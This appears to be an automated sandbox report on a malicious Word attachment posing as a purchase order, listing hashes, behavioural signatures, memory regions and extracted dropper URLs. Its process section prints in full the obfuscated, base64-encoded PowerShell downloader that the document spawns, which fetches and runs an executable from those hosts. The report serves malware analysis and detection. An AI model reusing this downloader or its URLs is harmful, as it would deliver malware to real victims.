Analysis
- max time kernel
78s - max time network
85s - platform
windows10-1703_x64 - resource
win10-20231215-en - resource tags
- submitted
03/01/2024, 19:39
General
- Target PO-465514-180820.doc
- Size 174KB
- Sample240103-ydcrkshcfq
- SHA256 044aa7e93ec81b297b53aaebad9bbac1a9d754219b001aaf5d4261665af30bc7
Malware Config
Extracted
-
ps1
-
exe.dropper
http://52550750-56-20180826151453.webstarterz.com/savewayexpressthai.com/jnze_2o3j_k/
-
exe.dropper
http://oubaina.com/wp-includes/lqkz_nvr_1avf4/
-
exe.dropper
https://www.msbc.kz/data/k527_5_cbdvv5bi19/
-
exe.dropper
http://okcupidating.com/im/fsq_esj_qgx060p/
-
exe.dropper
http://bike-nomad.com/cgi-bin/7n_0x0_62mnzyh9q/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 3 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO-465514-180820.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABPAGcAbwB1AF8ANQAxAD0AKAAnAFEAdAA3ACcAKwAnADEAJwArACcAdABsADUAJwApADsALgAoACcAbgBlACcAKwAnAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAFYAOgB0AEUAbQBwAFwATwBGAEYASQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAEMAVQByAGkAVAB5AGAAUAByAE8AVABgAE8AQwBgAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAxADIAJwArACcALAAgACcAKwAnAHQAbABzACcAKwAnADEAMQAsACAAdABsAHMAJwApADsAJABRAGEAawBmAG8AMABxACAAPQAgACgAJwBaADAAJwArACcAZgB2ADMAawBiAGcAJwApADsAJABCAHIAdgAzADUAcgBzAD0AKAAnAEUANgBoACcAKwAnADQAJwArACcAbgBrAG4AJwApADsAJABFAGMAOQB3ADQAZQAwAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBOACcAKwAnADMAcABPACcAKwAnAGYAZgBpAGMAZQAyADAAMQA5AE4AMwAnACsAJwBwACcAKQAuACIAcgBlAGAAUABsAGAAQQBjAEUAIgAoACcATgAzAHAAJwAsAFsAcwBUAHIAaQBOAGcAXQBbAEMASABhAFIAXQA5ADIAKQApACsAJABRAGEAawBmAG8AMABxACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABaAF8AagBqAGkAMwBtAD0AKAAnAE8AZwBwADUAJwArACcANwB3ACcAKwAnAGoAJwApADsAJABZADcAagBtAHgAegA4AD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAHcAZQBiAGMATABJAEUAbgB0ADsAJABJAG4AbgBlAHcAYwBfAD0AKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwAvACcAKwAnAC8ANQAnACsAJwAyACcAKwAnADUAJwArACcANQAnACsAJwAwACcAKwAnADcANQAwAC0ANQAnACsAJwA2ACcAKwAnAC0AMgAwADEAOAAwADgAMgAnACsAJwA2ADEANQAxACcAKwAnADQANQAnACsAJwAzACcAKwAnAC4AdwBlACcAKwAnAGIAcwB0AGEAcgB0AGUAJwArACcAcgB6ACcAKwAnAC4AYwAnACsAJwBvAG0ALwBzAGEAJwArACcAdgAnACsAJwBlAHcAYQB5AGUAeABwAHIAZQBzAHMAdABoAGEAaQAnACsAJwAuACcAKwAnAGMAbwBtAC8AagAnACsAJwBuACcAKwAnAHoAZQBfADIAbwAnACsAJwAzAGoAXwBrAC8AKgBoAHQAdAAnACsAJwBwADoALwAvAG8AdQBiAGEAaQBuAGEALgAnACsAJwBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAnAHcAJwArACcAcAAnACsAJwAtAGkAJwArACcAbgBjAGwAdQBkACcAKwAnAGUAcwAnACsAJwAvAGwAcQBrAHoAXwBuACcAKwAnAHYAcgBfACcAKwAnADEAYQAnACsAJwB2AGYANAAvACoAaAAnACsAJwB0ACcAKwAnAHQAcABzADoALwAnACsAJwAvAHcAdwB3AC4AbQBzAGIAYwAnACsAJwAuAGsAegAnACsAJwAvAGQAYQB0AGEALwBrACcAKwAnADUAJwArACcAMgA3AF8ANQAnACsAJwBfAGMAYgAnACsAJwBkAHYAdgA1AGIAaQAxADkALwAqAGgAdAB0AHAAOgAvAC8AbwAnACsAJwBrACcAKwAnAGMAJwArACcAdQAnACsAJwBwAGkAJwArACcAZABhAHQAaQBuAGcALgBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAnAGkAbQAvACcAKwAnAGYAcwBxACcAKwAnAF8AZQAnACsAJwBzACcAKwAnAGoAJwArACcAXwAnACsAJwBxACcAKwAnAGcAJwArACcAeAAwADYAJwArACcAMABwAC8AKgAnACsAJwBoAHQAdABwADoALwAvACcAKwAnAGIAJwArACcAaQBrAGUALQBuAG8AbQAnACsAJwBhAGQALgBjAG8AbQAvAGMAZwBpAC0AJwArACcAYgAnACsAJwBpACcAKwAnAG4ALwA3AG4AXwAwACcAKwAnAHgAJwArACcAMABfADYAMgBtACcAKwAnAG4AegAnACsAJwB5ACcAKwAnAGgAJwArACcAOQAnACsAJwBxAC8AJwApAC4AIgBzAFAAYABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYAZQA4AG4AZQBnADQAPQAoACcASwAnACsAJwB5ACcAKwAnAG0AcgB3ADkAdwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABNAHMAdQBvAG4AaAA4ACAAaQBuACAAJABJAG4AbgBlAHcAYwBfACkAewB0AHIAeQB7ACQAWQA3AGoAbQB4AHoAOAAuACIARABvAFcAYABOAEwAbwBBAGQAYABGAGkAYABMAEUAIgAoACQATQBzAHUAbwBuAGgAOAAsACAAJABFAGMAOQB3ADQAZQAwACkAOwAkAFUAaQAzAGwANAA5AGcAPQAoACcARABvACcAKwAnAGgAeABiACcAKwAnAHoAZwAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAgACQARQBjADkAdwA0AGUAMAApAC4AIgBsAEUAbgBnAGAAVABoACIAIAAtAGcAZQAgADMAMQA0ADUAMQApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABFAGMAOQB3ADQAZQAwACkAOwAkAEMAdwBpAG8AXwBoADUAPQAoACcARQAnACsAJwA2AHYAcAA3AHYAdwAnACkAOwBiAHIAZQBhAGsAOwAkAFQAYQB5ADUAMABsAGsAPQAoACcAUABoADEAMABnACcAKwAnAGIAMQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUANwB0AG0AbgBrADQAPQAoACcAWQBlAHcAYwB3ACcAKwAnADgAJwArACcAawAnACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_m3h44hu1.hp0.ps1
memory/4436-35-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-305-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-3-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-4-0x00007FFDA9870000-0x00007FFDA9880000-memory.dmp
memory/4436-5-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-8-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-9-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-10-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-11-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-12-0x00007FFDA5FB0000-0x00007FFDA5FC0000-memory.dmp
memory/4436-13-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-14-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-15-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-16-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-17-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-19-0x00007FFDA5FB0000-0x00007FFDA5FC0000-memory.dmp
memory/4436-20-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-22-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-25-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-28-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-23-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-29-0x00007FFDE96F0000-0x00007FFDE979E000-memory.dmp
memory/4436-18-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-30-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-2-0x00007FFDA9870000-0x00007FFDA9880000-memory.dmp
memory/4436-32-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-348-0x0000018348880000-0x0000018348A80000-memory.dmp
memory/4436-41-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-36-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-173-0x00000183477D0000-0x00000183487A0000-memory.dmp
memory/4436-174-0x0000018348880000-0x0000018348A80000-memory.dmp
memory/4436-309-0x00000183477D0000-0x00000183487A0000-memory.dmp
memory/4436-308-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-307-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-306-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-38-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-1-0x00007FFDA9870000-0x00007FFDA9880000-memory.dmp
memory/4436-272-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-0-0x00007FFDA9870000-0x00007FFDA9880000-memory.dmp
memory/4436-300-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-301-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-302-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-303-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4436-304-0x00007FFDE97E0000-0x00007FFDE99BB000-memory.dmp
memory/4768-274-0x00000220E9BE0000-0x00000220E9BF0000-memory.dmp
memory/4768-244-0x00000220E9BE0000-0x00000220E9BF0000-memory.dmp
memory/4768-243-0x00000220E9BE0000-0x00000220E9BF0000-memory.dmp
memory/4768-242-0x00007FFDC2250000-0x00007FFDC2C3C000-memory.dmp
memory/4768-241-0x00000220E9BB0000-0x00000220E9BD2000-memory.dmp
memory/4768-347-0x00007FFDC2250000-0x00007FFDC2C3C000-memory.dmp
memory/4768-249-0x00000220E9E90000-0x00000220E9F06000-memory.dmp